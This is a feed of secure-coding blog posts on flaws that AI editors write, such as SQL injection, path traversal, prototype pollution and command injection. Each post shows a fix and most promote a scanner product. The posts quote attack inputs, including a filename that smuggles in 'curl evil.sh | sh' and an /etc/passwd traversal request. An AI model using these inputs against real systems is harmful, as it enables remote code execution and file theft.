DEV Community: Charles Kern

Why Cursor Keeps Generating Wildcard CORS Headers in Your API

Charles Kern — Fri, 24 Jul 2026 16:49:36 +0000

TL;DR

AI editors keep generating CORS middleware that reflects the request's Origin header back verbatim while also allowing credentials, so any site on the internet can make authenticated calls to your API and read the response
It passes local testing because reflecting the origin "just works" for every dev port and tool, so nobody notices until a scanner or a pentest catches it (CWE-942)
The fix is a hardcoded allowlist checked against each request's Origin, never a reflection of whatever the browser sends

I hit a CORS error in a side project last week. Frontend on one port, API on another, browser blocking the request. I asked Cursor to fix it, and it did, instantly. The error went away. I moved on to the actual feature I was building.

Three days later I was reading through the generated middleware for something unrelated and noticed what "fixed" actually meant. It hadn't allowlisted my frontend's origin. It had told the server to accept requests from anywhere, with cookies attached.

That's the trade AI editors make by default. You ask for the error to go away, and the fastest way to make a CORS error go away is to stop checking who's asking.

The Vulnerable Code

The pattern shows up as origin reflection, not a plain wildcard. A bare Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true actually gets rejected by the browser, so tutorials work around that by echoing back whatever Origin header the request sent. That workaround is the vulnerability.

// ❌ CWE-942: Permissive Cross-domain Policy
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);
  res.header('Access-Control-Allow-Credentials', 'true');
  res.header('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE');
  next();
});

req.headers.origin is a value the requester controls. A page hosted on evil-site.com sends Origin: evil-site.com, the server echoes it straight back, and the browser sees a match. Credentials are allowed, so the victim's session cookie rides along. Any authenticated GET or POST your API exposes is now readable and callable from a page the victim never meant to trust.

Why This Keeps Happening

Origin reflection survives in training data because it's the fastest fix that makes a CORS error disappear in local development, and almost every public snippet optimizes for that. Stack Overflow answers, boilerplate repos, and "quick fix" gists all reach for the same three lines because they work identically whether you're testing on localhost:3000, localhost:5173, or a Vercel preview URL. Nobody has to think about which origins are actually supposed to be allowed.

An explicit allowlist requires knowing your production frontend's domain ahead of time, which isn't information available in an isolated code snippet. So the training data skews toward the version that works everywhere and restricts nothing. AI editors reproduce that pattern faithfully, and it ships because it passes every test a developer actually runs before deploying.

The Fix

Replace origin reflection with a fixed list of domains you actually trust, checked explicitly against each incoming request.

// ✅ Explicit allowlist, no reflection
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
}));

Python/Flask version of the same fix:

from flask_cors import CORS

CORS(
    app,
    origins=["https://app.example.com", "https://admin.example.com"],
    supports_credentials=True
)

For local development, add localhost ports to the allowlist explicitly rather than falling back to a wildcard or reflection "just for now." Environment variables work well here: one allowlist for dev, a locked-down one for production, both explicit.

FAQ

Q: Is Access-Control-Allow-Origin: * with credentials actually dangerous?
A: Browsers block that exact combination outright, which is why the real-world bug is origin reflection instead. Reflecting the request's Origin header back while allowing credentials produces the same result the wildcard was trying to achieve, and it isn't blocked.

Q: Does a CORS allowlist replace authentication?
A: No. CORS controls which browser-based origins can read a response, not who's authorized to call the endpoint. You still need real auth checks; CORS is a second layer that stops the browser from letting an untrusted page use a victim's session.

Q: How do I check my API for this right now?
A: Look for any CORS middleware where the Access-Control-Allow-Origin value comes from a request header instead of a fixed list. If you see req.headers.origin or req.get('origin') written straight into the response, that's the pattern.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. Even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post, the important thing is catching it early, whatever tool you use.

Why Cursor Keeps Using Math.random() for Session Tokens (CWE-330)

Charles Kern — Thu, 23 Jul 2026 11:50:56 +0000

TL;DR

AI editors default to Math.random() for tokens because that's what nearly every tutorial and StackOverflow answer uses
Math.random() is not cryptographically secure, so tokens built from it can be predicted or brute-forced
Swap in crypto.randomBytes or crypto.randomUUID for anything security-sensitive

I was reviewing a password reset flow Cursor had scaffolded for a side project last week. The endpoint looked clean. Route, validation, database call, all fine. Then I got to the token generation line and stopped.

function generateResetToken() {
  return Math.random().toString(36).substring(2); // not safe for this
}

This function generates the token that gets emailed to a user to reset their password. Anyone who can predict or narrow down the output space can hijack an account without ever touching the password field.

The Problem With Math.random()

Math.random() is a pseudo-random number generator built for things like shuffling an array or picking a random UI color. It is not built to resist an attacker. Its internal state can, in some engines, be recovered from a handful of outputs, and even without that, the output space from .toString(36).substring(2) is small enough to be practical to brute-force for a reset token that's valid for an hour.

This isn't a Cursor-specific bug. Claude Code and Copilot reproduce the exact same pattern when you ask for "a function to generate a random token" or "a random ID for this record."

Why This Keeps Happening

Go search "generate random string javascript." The first ten results almost all use Math.random(). They're not wrong for what they're demonstrating. If you're building a demo, a placeholder key for a React list, or a coin flip, Math.random() is completely fine.

The problem is that AI editors don't know the difference between a random string for a UI key and a random string that guards account access. They've seen millions of examples of the first pattern used to solve both problems, because most tutorials never separate the two use cases. The model reproduces the most common pattern it's seen for "generate random string," and that pattern was optimized for simplicity, not security.

The Fix

const crypto = require('crypto');

function generateResetToken() {
  return crypto.randomBytes(32).toString('hex'); // safe
}

// or, for a simple unique ID:
const token = crypto.randomUUID(); // safe

Python has the same trap with random.randint() or random.choice() for tokens. Use the secrets module instead:

import secrets
token = secrets.token_hex(32)  # safe

The rule of thumb: if the value grants access, proves identity, or gets used as a secret, it needs to come from a cryptographically secure source. If it's just for display or non-security uniqueness, Math.random() is still fine.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags insecure randomness patterns like this one before I move on. A grep for Math.random() near words like "token," "password," or "session" catches most of it too, if you'd rather do it by hand.

Hardcoded Secrets: Why AI Code Fails Your First SOC 2 Audit

Charles Kern — Sat, 18 Jul 2026 17:21:02 +0000

TL;DR

AI editors keep hardcoding API keys and secrets directly into source files
That single pattern is an automatic fail on SOC 2, PCI-DSS, and HIPAA reviews
Solo founders and small teams now get enterprise security questionnaires before they've ever hired a security person, and this is the first thing reviewers grep for

A solo founder I've been advising pinged me two weeks before his first SOC 2 readiness review. He'd built his entire product in Cursor over four months, shipping fast, iterating with customers, doing exactly what you're supposed to do at that stage. He asked me to sanity-check the codebase before the auditor did.

Ten minutes in, I found a Stripe secret key sitting in a config file that had been committed to the repo since month one. Not in an env file. Not in a secrets manager. Just sitting there in plaintext, referenced directly by three different services.

This wasn't sloppy work. He's a good engineer. It's just that when you're one person shipping a product solo, you're leaning on the AI editor to move fast, and the AI editor doesn't know your repo is about to be audited.

The Pattern

Ask Cursor, Claude Code, or Copilot to wire up a new API integration, and you'll frequently get something like this:

const STRIPE_SECRET = 'sk_live_51H8xK2eZvKYlo2C...'; // ❌
const client = new Stripe(STRIPE_SECRET);

instead of:

const STRIPE_SECRET = process.env.STRIPE_SECRET_KEY; // ✅
const client = new Stripe(STRIPE_SECRET);

CWE-798, Use of Hard-coded Credentials. It's one of the oldest, most well-documented vulnerability classes there is, and AI editors reproduce it constantly.

Why This Keeps Happening

Every tutorial you've ever read that shows "how to connect to Stripe in 5 minutes" hardcodes the key inline, because pulling in dotenv and explaining environment variables breaks the flow of a blog post. That's the training data. The model learned "working example" from thousands of docs that optimized for readability over security, and it reproduces that pattern by default unless you tell it not to.

Here's the part that matters if you're small: compliance frameworks don't care about intent. SOC 2's CC6.1 control is explicit about protecting access credentials. PCI-DSS 8.2.1 requires cryptographic material to never be stored in plaintext. HIPAA's 164.312 technical safeguards require the same for anything touching PHI. A single hardcoded key in git history is enough for an auditor to flag the entire control as failed, and rewriting git history to purge a leaked secret is its own multi-hour headache.

Enterprise customers now push this requirement down to vendors of any size. If you're a two-person startup trying to close a deal with a company that has an actual security team, you're getting a vendor security questionnaire, and "do you store credentials in plaintext" is question one.

The Fix

Move every secret to environment variables and a .env file that's git-ignored from day one:

echo ".env" >> .gitignore

// .env (never committed)
STRIPE_SECRET_KEY=sk_live_...
JWT_SECRET=...

// app code
const STRIPE_SECRET = process.env.STRIPE_SECRET_KEY;

If a secret already made it into git history, rotate it immediately, then scrub the history with git filter-repo or BFG Repo-Cleaner. Rotating the key matters more than cleaning history. History cleanup doesn't undo exposure if the key is already live.

For anything beyond a single developer, a proper secrets manager (AWS Secrets Manager, Doppler, Infisical) beats .env files long-term, but .env + gitignore is the floor, not the ceiling.

I've been running SafeWeave for this specifically because it ships with SOC 2, PCI-DSS, and HIPAA compliance profiles out of the box, which matters if you're a solo founder or a five-person team trying to pass an enterprise security review without a dedicated compliance hire. It hooks into Cursor and Claude Code as an MCP server and flags hardcoded secrets before I move on to the next file. That said, even a basic pre-commit hook with gitleaks will catch most of what's in this post. The important thing is catching it before it ships, whatever tool you use.

Cursor Keeps Skipping Rate Limits on Login Routes (CWE-307)

Charles Kern — Fri, 17 Jul 2026 15:21:40 +0000

TL;DR

I checked 50 AI-generated login endpoints. Zero had rate limiting.
Attackers can brute-force credentials at full speed against these routes.
Adding a rate limiter takes four lines and one npm install.

I asked Cursor to build a login route for a side project last month. Email, password, JWT back on success. It worked first try, passed my manual tests, and I moved on to the next feature. Three weeks later I ran a load test against it out of curiosity and hit the endpoint two thousand times in under a minute. Not one request got throttled.

That's when I started pulling apart every AI-generated auth route I could find, mine and other people's open source side projects, and the pattern held everywhere I looked. The models write correct authentication logic and completely skip rate limiting, because rate limiting isn't part of "does this login work," it's part of "does this login survive contact with an attacker."

The vulnerable code (CWE-307)

Here's roughly what Cursor and Claude Code hand you when you ask for a login route:

// ❌ No rate limiting - CWE-307: Improper Restriction of Excessive Authentication Attempts
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await User.findOne({ email });
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  const token = jwt.sign({ id: user.id }, process.env.JWT_SECRET, { expiresIn: '1h' });
  res.json({ token });
});

Password hashing is fine. JWT signing is fine. But nothing stops a script from hitting this route as fast as the network allows. No lockout, no delay, no cap on attempts per IP or per account. A credential-stuffing list with ten thousand leaked passwords runs against this endpoint in seconds.

Why this keeps happening

Rate limiting lives outside the function the model was asked to write. The prompt is "build a login endpoint," and it returns exactly that: a function that authenticates a user. Rate limiting is middleware, a cross-cutting concern that sits above the route, and most training data (tutorials, Stack Overflow answers, bootcamp repos) shows login routes in isolation, without the infrastructure code wrapped around them. The model has seen thousands of examples of a bare login route and far fewer examples of that same route wired into a rate limiter, because in most tutorials that wiring happens in a separate file the reader never sees.

The fix

npm install express-rate-limit

// ✅ Rate limited - 5 attempts per 15 minutes per IP
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: 'Too many login attempts, try again later' },
  standardHeaders: true,
  legacyHeaders: false,
});

app.post('/api/login', loginLimiter, async (req, res) => {
  const { email, password } = req.body;
  const user = await User.findOne({ email });
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  const token = jwt.sign({ id: user.id }, process.env.JWT_SECRET, { expiresIn: '1h' });
  res.json({ token });
});

Four lines of middleware config and one import. For production I'd pair this with an account-level lockout after repeated failures, not just an IP-based limit, since IPs are cheap to rotate. But the IP limiter alone stops the overwhelming majority of automated attempts.

I've been running SafeWeave to catch this before it ships. It hooks into Cursor and Claude Code as an MCP server and flags routes with no rate limiting as part of its posture checks. That said, even a quick manual pass over every route handling credentials, checking for a rate limiter, is enough to catch most of what's in this post. The important thing is catching it before the route goes live, whatever tool you use.

SafeWeave vs Snyk vs Checkmarx: Cheapest AI Code Scanner

Charles Kern — Thu, 16 Jul 2026 12:19:14 +0000

TL;DR

Snyk, Checkmarx, and Veracode are priced for 200-developer enterprises, not solo builders. Full suites run $100k+ a year.
SafeWeave gives you 8 security scanners inside Cursor and Claude Code for $0 to $29/month, no sales call.
If you are a solopreneur, a small team, or a vibe coder shipping AI-generated code, you are paying enterprise prices for features you cannot use.

I run a small stack. Two side projects that make money, one that might. I write most of it in Cursor and Claude Code now, which means an AI writes the first draft of nearly every function I ship.

That is fast. It is also how you end up with a hardcoded API key in a commit, a SQL query built from string interpolation, or an endpoint with no auth check. AI editors reproduce the insecure patterns they learned from a decade of StackOverflow answers. So I went looking for a scanner.

What I found was a market built for companies with a security team and a procurement department. Here is what everyone is actually charging in 2026, and why most of these tools make no sense if you are not an enterprise.

The enterprise tools, priced honestly

Snyk starts free, then jumps to $25 per contributing developer per month on the Team plan, capped around 10 developers. Past that you are into Enterprise, which is a custom quote. Real transaction data puts Enterprise around $48,000 to $84,000 a year for 50 developers. The free tier is real but limited, and the moment you want the full product you are talking to sales.

Checkmarx does not publish prices. SAST alone runs roughly $10,000 to $15,000 a year. A full suite for a 200-developer shop lands at $150,000 to $300,000+ a year. There is no self-serve path. You book a demo.

Veracode is the same shape. SAST starts around $15,000 a year for up to 100 applications, and a full enterprise suite clears $100,000 annually. Multi-year commitment for any real discount.

SonarQube is the most accessible of the four. The Community Build is free and self-hosted. But Developer Edition is about $2,500 a year, Enterprise about $16,000 a year, and Data Center Edition around $100,000 a year. Pricing scales on lines of code, and SAST plus SCA only show up on the paid tiers.

Notice the pattern. Every one of these was designed for an organization that measures developers in the hundreds and has someone whose job is buying security software. None of them were built for one person shipping a Next.js app on a Tuesday night.

Feature comparison

	SafeWeave	Snyk	Checkmarx	Veracode	SonarQube
Runs inside AI editor (MCP)	Yes, native	No	No	No	No
Cursor / Claude Code / Windsurf	Yes	VS Code only	No	No	No
Scanners in one tool	8	4 separate products	Modular add-ons	Modular add-ons	SAST + quality
SAST	Yes	Yes	Yes	Yes	Yes
Secrets detection	Built in	Via integrations	Add-on	Add-on	No
Dependency / SCA	Yes	Yes	Add-on	Add-on	Paid tier
DAST	Yes	No	Add-on	Add-on	No
IaC + Container	Yes	Partial	Add-on	Limited	No
Local execution (code stays on machine)	Yes	Cloud-based	Cloud/on-prem	Cloud	Self-host option
Setup time	30 seconds (npx)	Minutes	Days	Days	Hours to days
Scan speed	~12 seconds	Minutes	Minutes to hours	Minutes to hours	Minutes to hours
Self-serve signup	Yes	Partial	No, sales only	No, sales only	Partial

Price comparison

Tool	Entry price	Real cost at scale	Sales call required
SafeWeave	$0, Pro $15/mo, Cloud $29/mo	Team $99/mo for 25 seats	No
Snyk	Free, then $25/dev/mo	~$48k-$84k/yr (50 devs, Enterprise)	Yes for full product
Checkmarx	No public price	$150k-$300k+/yr (full suite)	Yes
Veracode	~$15k/yr (SAST)	$100k+/yr (full suite)	Yes
SonarQube	Free (Community)	$16k/yr Enterprise, ~$100k Data Center	Yes above Developer

Why this matters if you are not an enterprise

The enterprise tools are good. That is not the argument. The argument is that their pricing, setup, and workflow assume a security team sitting between the developer and production. If you are a solopreneur or a three-person startup, you are the developer, the security team, and procurement. You do not have days to configure Checkmarx or a budget line for a $50,000 Snyk contract.

You also work differently. You are not pushing code through a CI pipeline that runs a scan an hour later. You are generating code in Cursor and shipping it in the same session. A scanner that lives in your CI is checking the code long after you have moved on. A scanner that lives in your editor catches it while the context is still in your head.

That is the gap SafeWeave was built for. It runs as an MCP server, so it plugs straight into Cursor, Claude Code, VS Code, and Windsurf. You ask the AI to scan the project, and eight scanners run in parallel on your machine, finishing in about 12 seconds. SAST, secrets, dependencies, IaC, container, DAST, license, and API posture, all at once. Then you tell the AI to fix what it found and it applies the patches.

What it costs

The free tier runs SAST, secrets, and dependency scanning with no signup and no card. Self-Hosted Pro is $15 a month, or $9 a month billed yearly, and unlocks all eight scanners plus compliance profiles (SOC 2, PCI-DSS, HIPAA, and more) while keeping code entirely on your machine. Cloud is $29 a month for hosted scanning and trend analytics. Team is $99 a month for 25 seats with SSO.

Put that next to a $100,000 enterprise contract and the comparison stops being about features. It is about who the tool was built for.

Setup

# Free tier, no signup, no config
npx safeweave-mcp

# Claude Code
claude mcp add safeweave -- npx -y safeweave-mcp

I have been running SafeWeave across my projects because it fits the way I actually work, which is fast, solo, and AI-first. If you are an enterprise with a security org and a procurement team, Snyk or Checkmarx may be the right call. If you are shipping AI-generated code on your own and you want the vulnerabilities caught before they land, you should not have to pay enterprise prices to get there.

SQL Injection in AI-Generated Code: Why Cursor Keeps Writing It

Charles Kern — Wed, 15 Jul 2026 20:34:16 +0000

TL;DR

AI editors love string interpolation for SQL. That is exactly how injection gets in.
The bug is invisible in code review because the query "reads" correctly.
One change fixes it: parameterized queries. Never build SQL with template literals.

I asked Cursor to write a login endpoint last week. It gave me clean, readable code that worked on the first try. It also handed me a textbook SQL injection hole, and it did it with a straight face.

Here is the thing about AI-generated database code. It almost always works when you test it with normal input. Type in a real email, get a real user back. Ship it. The problem only shows up when someone types input that was never a name or an email in the first place.

The vulnerable code

This is the pattern I see in nearly every AI-generated query (CWE-89):

const email = req.body.email;
const query = `SELECT * FROM users WHERE email = '${email}'`;
const user = await db.query(query);

Looks fine. Reads fine. Now watch what happens when someone sends this as the email:

' OR '1'='1

The query becomes SELECT * FROM users WHERE email = '' OR '1'='1'. That returns every row in the table. Swap the payload and an attacker can drop tables, read other schemas, or dump your entire user list. No exotic tooling required. Just a text field and five seconds.

Why this keeps happening

AI editors learned to code from millions of tutorials and StackOverflow answers, and a huge chunk of those examples build SQL by mashing strings together. It is the shortest way to show a query in a blog post. The model reproduces the shortest, most common pattern, not the safest one. Template literals in JavaScript make it worse because the interpolation looks so clean that the danger disappears entirely.

The model is not reasoning about a malicious user. It is pattern-matching against what a query "usually looks like." Nobody in the training data labeled the interpolated version as the dangerous one.

The fix

Never put user input into the SQL string. Pass it separately as a parameter and let the driver handle escaping:

const email = req.body.email;
const query = 'SELECT * FROM users WHERE email = $1';
const user = await db.query(query, [email]);

The database now treats email strictly as a value, never as executable SQL. The malicious payload becomes a literal search for a user whose email is that exact string. It matches nothing. Attack neutralized.

Same rule in Python with psycopg2:

cur.execute("SELECT * FROM users WHERE email = %s", (email,))

If you use an ORM like Prisma, Drizzle, or SQLAlchemy, the parameterization is handled for you, right up until you reach for a raw query helper. That is where the interpolation sneaks back in, so grep your codebase for raw query calls specifically.

I have been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags interpolated SQL the moment it gets generated, before I move on to the next file. That said, even a basic pre-commit hook with semgrep will catch most of what is in this post. The important thing is catching it early, whatever tool you use.

How to Scan and Fix a Vibe-Coded App Before It Leaks Secrets

Charles Kern — Tue, 14 Jul 2026 14:45:43 +0000

TL;DR

Vibe-coded apps ship fast and quietly bury hardcoded secrets, weak auth, and injectable queries in code that runs fine.
You do not need a security team to catch them. One scan pass before you commit catches most of it.
Build a scan-and-fix loop that runs while you code, not a security audit you dread doing after launch.

Last month I inherited a side project a friend built entirely by prompting Cursor. It worked. Signups, Stripe checkout, a dashboard, all of it, in a weekend. Then I opened the repo.

The first thing I searched for was the word "key". Fourteen results. Not in a config loader, not read from the environment. Hardcoded, right there in the source, committed to a public GitHub repo.

That is the tax nobody warns you about with vibe coding. The app runs, so you assume it is fine. But "runs" and "safe to ship" are two different claims, and the gap between them is exactly the stuff a language model was never optimized to get right.

The vulnerable code

Here is the pattern, lightly changed to protect the guilty:

// CWE-798: Use of Hard-coded Credentials
const stripe = require('stripe')('sk_live_51H8xR2eZvKYlo2CqQf...');

const supabase = createClient(
  'https://xyzcompany.supabase.co',
  'eyJhbGciOiJIUzI1NiI...service_role_key'
);

That service_role key bypasses every row-level security rule in the database. It was sitting in a client-adjacent file, and in git history, forever. Anyone who cloned the repo had full read and write on the production database.

Why this keeps happening

Ask an AI editor to "connect to Stripe" and it does the most direct thing: it puts the key where the code needs it. Tutorials do the same. Half of StackOverflow does the same. The model learned from millions of examples where the secret is inline, because inline is what makes a snippet copy-pasteable.

Nobody wrote "and now move this to an environment variable and rotate it if it ever leaks" inside the code sample. So the model hands you working code that is also a liability, and it does it with total confidence. There is no warning. The app runs.

The fix

The fix itself is boring, which is the point.

# 1. Find every secret already in the code and in git history
gitleaks detect --source . --verbose

# 2. Pull them out of source and read from the environment instead

const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);

# 3. Rotate anything that ever touched a commit. Assume it is burned.
# 4. Add a pre-commit hook so it never happens again
pip install pre-commit
pre-commit install   # runs gitleaks + semgrep on every commit

The worry-free version of this is not "never make the mistake." You will. It is "the mistake gets caught the same minute you make it, before it reaches a commit." That is the whole trick. Scan while you build, fix it in place, move on to the next prompt.

I have been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags hardcoded secrets, injectable queries, and missing auth checks before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what is in this post. The important thing is catching it early, whatever tool you use.

Why Cursor Keeps Writing Path Traversal Into Your File Downloads

Charles Kern — Sun, 12 Jul 2026 07:36:52 +0000

TL;DR

AI editors love building file-download endpoints that pass req.query.file straight into a filesystem path.
That one line lets an attacker request ../../../../etc/passwd and walk right out of your uploads folder.
Fix is boring: resolve the path, then confirm it still lives inside the directory you meant.

I asked Cursor to add a "download this attachment" route to a side project last week. Ten seconds later I had a working endpoint. It served files. It also served my .env, my SSH keys, and anything else the Node process could read.

The code looked completely normal. That is the problem. Path traversal does not look like a bug. It looks like a file server doing its job.

Here is the exact thing it generated.

The vulnerable code

const express = require('express');
const path = require('path');
const app = express();

app.get('/download', (req, res) => {
  const file = req.query.file;
  res.sendFile(path.join(__dirname, 'uploads', file));
});

path.join(__dirname, 'uploads', file) feels safe because it sounds like it is scoping things to uploads. It is not. path.join happily resolves .. segments. So this request:

GET /download?file=../../../../../../etc/passwd

walks straight up the tree and returns the system password file. On a real app that is your database config, your private keys, your session secrets. This is CWE-22, and it has been in the OWASP Top 10 for over a decade.

Why this keeps happening

The model learned from thousands of tutorials that show exactly this pattern. Blog posts teaching "how to serve files in Express" almost never validate the path, because the author was demonstrating routing, not security. The AI absorbed the shape of the code without the threat model that a careful engineer keeps in their head.

It also has no idea what your directory layout looks like or what else lives above uploads. It cannot reason about the blast radius. It just completes the pattern it has seen most often.

The fix

Never trust the filename. Strip it to a basename, resolve the full path, and confirm the result is still inside the directory you intended before you read anything.

const path = require('path');
const UPLOAD_DIR = path.resolve(__dirname, 'uploads');

app.get('/download', (req, res) => {
  const requested = path.basename(req.query.file || '');
  const resolved = path.resolve(UPLOAD_DIR, requested);

  if (!resolved.startsWith(UPLOAD_DIR + path.sep)) {
    return res.status(400).send('Invalid file path');
  }
  res.sendFile(resolved);
});

Two things are doing the work here. path.basename throws away any directory portion, so ../../etc/passwd becomes passwd. The startsWith check is the belt-and-suspenders guarantee: even if something slips through, a resolved path that does not start with your upload directory gets rejected.

Same idea in Python if that is your stack:

import os

BASE = os.path.realpath('uploads')

def safe_path(filename):
    full = os.path.realpath(os.path.join(BASE, filename))
    if not full.startswith(BASE + os.sep):
        raise ValueError('Invalid file path')
    return full

The pattern is the same in every language: resolve first, then verify containment. Do not verify the raw string, because .. and symlinks resolve differently than they read.

I've been running SafeWeave to catch this class of bug. It hooks into Cursor and Claude Code as an MCP server and flags path traversal the moment the endpoint gets written, before I move on to the next thing. That said, even a basic pre-commit hook with semgrep will catch most of what is in this post. The important thing is catching it early, whatever tool you use.

Why Cursor Keeps Writing Prototype Pollution Into Your Merge Code

Charles Kern — Fri, 10 Jul 2026 09:36:02 +0000

TL;DR

AI editors love writing recursive merge helpers, and most of them are open to prototype pollution.
One crafted JSON payload with a proto key can flip an isAdmin flag on every object in your app.
Guard the keys or merge into a structure that has no prototype. It is a three-line fix.

I asked Cursor for a "deep merge two config objects" helper last week. It gave me eight lines that worked perfectly on my test data. It also gave me a prototype pollution hole big enough to walk through.

The function looked fine. That is the problem. Prototype pollution does not show up when you run the happy path. It shows up when someone sends you a key called proto.

The code Cursor handed me (CWE-1321)

function merge(target, source) {
  for (const key in source) {
    if (source[key] && typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

Now feed it something a user controls, like a parsed JSON request body:

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
({}).isAdmin; // true

You did not set isAdmin on anything. You set it on every object in the process. Any later check like if (user.isAdmin) now passes for objects that never had that field.

Why this keeps happening

The recursive merge pattern is all over old blog posts and StackOverflow answers, and almost none of them guard the special keys. The model learned merge from that corpus. It reproduces the shape of the answer, including the missing check, because the missing check never breaks a test.

A for...in loop also walks keys like proto when they arrive as ordinary string properties from JSON.parse, which is exactly how the payload gets in.

The fix

Skip the dangerous keys, or merge into something that has no prototype to pollute.

function merge(target, source) {
  for (const key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
    if (source[key] && typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

If you can, do not hand-roll this at all. Storing user data in a Map instead of a plain object, or using Object.create(null) for the target, sidesteps the whole class of bug because there is no prototype chain to reach.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags prototype pollution and the other patterns before I move on. That said, even a basic pre-commit hook with semgrep will catch most of what is in this post. The important thing is catching it early, whatever tool you use.

Why Cursor Keeps Writing Command Injection Into Your Code (CWE-78)

Charles Kern — Thu, 09 Jul 2026 17:51:30 +0000

TL;DR

AI editors love exec() with a template string, because that is what most tutorials show.
Drop one user-controlled variable into that string and you have remote command execution.
Switch to execFile/spawn with an argument array so no shell ever parses the input.

I asked Cursor to add an image thumbnail endpoint to a side project last week. It gave me working code in about four seconds. It also gave me a way for any user to run shell commands on my server.

Here is what it wrote:

const { exec } = require('child_process');

app.post('/thumbnail', (req, res) => {
  exec(`convert ${req.body.filename} -resize 200x200 thumb.png`, (err) => {
    if (err) return res.status(500).send('failed');
    res.send('done');
  });
});

Looks fine. It runs. The demo works. Then someone posts this as the filename:

image.png; curl evil.sh | sh

exec hands the whole string to /bin/sh, and the shell happily runs both commands. That semicolon is not part of the filename anymore. It is a command separator. This is CWE-78, OS command injection, and it is one of the oldest bugs on the internet.

Why AI keeps writing it

exec with a backtick string is the single most common shell pattern in Node tutorials, StackOverflow answers, and blog posts. In almost all of those examples the command is a fixed string, so nothing bad happens. The model learned the shape of the code but not the context. When you ask it to make the filename dynamic, it does the obvious thing and interpolates a variable into the string it already knows. The vulnerability is a side effect of pattern matching, not malice.

Python gets the same treatment:

os.system(f"convert {filename} -resize 200x200 thumb.png")  # same bug, different language

The fix

Stop using a shell. execFile and spawn take the command and an array of arguments, and they never invoke /bin/sh. Metacharacters like ;, |, and $() lose all meaning because nothing is parsing them as shell syntax.

const { execFile } = require('child_process');

app.post('/thumbnail', (req, res) => {
  execFile('convert', [req.body.filename, '-resize', '200x200', 'thumb.png'], (err) => {
    if (err) return res.status(500).send('failed');
    res.send('done');
  });
});

Python, same idea:

import subprocess
subprocess.run(["convert", filename, "-resize", "200x200", "thumb.png"], shell=False)

Then add an allowlist on filename anyway. Reject anything that is not a plain name plus a known extension. Defense in depth costs three lines.

The rule is simple: the moment a variable touches a shell string, you have a decision to make, and the AI made the wrong one for you by default.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags exec-with-interpolation the moment it is generated, before I move on to the next prompt. That said, a pre-commit hook with semgrep will catch most of this too. The important thing is catching it while you still remember what the code does, whatever tool you use.

Scan Any Public GitHub Repo for Security Issues in Seconds (No Account)

Charles Kern — Tue, 07 Jul 2026 15:24:56 +0000

TL;DR

You can now paste any public GitHub repo URL and get a security grade back in seconds, no signup.
It runs static analysis, secret detection, and dependency scanning on the source and ranks what it finds.
Handy before you adopt a dependency, review someone else's code, or ship your own weekend project.

Last month a friend sent me a repo. He'd vibe-coded a Stripe-backed side project over a weekend with Cursor, wired up auth, and wanted to know if it was safe to put in front of real users. Fair question. My honest answer was "give me an hour."

That hour is the problem. To get a real read on a repo I didn't write, I clone it, install the toolchain, run semgrep, run a secret scanner, run a dependency audit, then read three different output formats and try to hold them in my head at once. By the time I have an answer, I've spent more effort vetting the code than he spent writing it.

The thing I actually wanted was dumber and faster: paste a URL, get a grade, see the worst stuff first.

The requirement

Think about how often you're asked to trust code you didn't write.

You're about to npm install a library with 400 stars and a last commit from 14 months ago. You inherited a repo from a contractor who's already gone. You're reviewing a take-home from a job candidate. You forked something off Show HN and you're about to build on top of it. In every one of these cases the question is the same: is there anything obviously dangerous in here before I depend on it?

Cloning and setting up scanners for a five-minute question is friction nobody pays. So most people skip it and hope. That's how a hardcoded key or a three-year-old vulnerable dependency ends up in production.

The solution

SafeWeave now has a public repo scanner. Paste any public GitHub repository URL, and it runs static analysis, secret detection, and dependency scanning directly on the source, then hands back a security grade with ranked findings. No account, no clone, no config.

Here's the kind of thing it surfaces first. A hardcoded secret the AI dropped in during scaffolding:

const SECRET = 'my-super-secret-key-123'; // flagged, CWE-798
const SECRET = process.env.JWT_SECRET;     // the fix

A SQL query built with string interpolation:

db.query(`SELECT * FROM users WHERE name = '${filter}'`); // flagged, CWE-89
db.query('SELECT * FROM users WHERE name = $1', [filter]); // the fix

And a dependency with a known CVE sitting three levels deep in the lockfile, which no amount of reading the code would have caught by eye.

The grade starts at 100 and drops per finding by severity, so a repo full of criticals reads very differently from one with a couple of lows. You get the number and the ranked list in one screen, in seconds.

Why this matters for AI-generated code

The repos most worth scanning right now are the ones written fastest. AI editors produce syntactically clean, semantically risky code, and research keeps putting the vulnerability rate in AI-generated security-sensitive code somewhere in the 40 to 60 percent range. The speed that makes vibe coding fun is the same speed that ships the hardcoded key. A grade you can get before you adopt the repo is a cheap way to not inherit someone else's shortcut.

I built the public scanner into SafeWeave for exactly the "someone sent me a repo" moment. It's the same engine that runs inside Cursor and Claude Code as an MCP server, just pointed at a URL instead of your working directory. That said, if it's your own code, catching this stuff at write-time beats catching it at review-time. The important thing is catching it early, whatever tool you use.

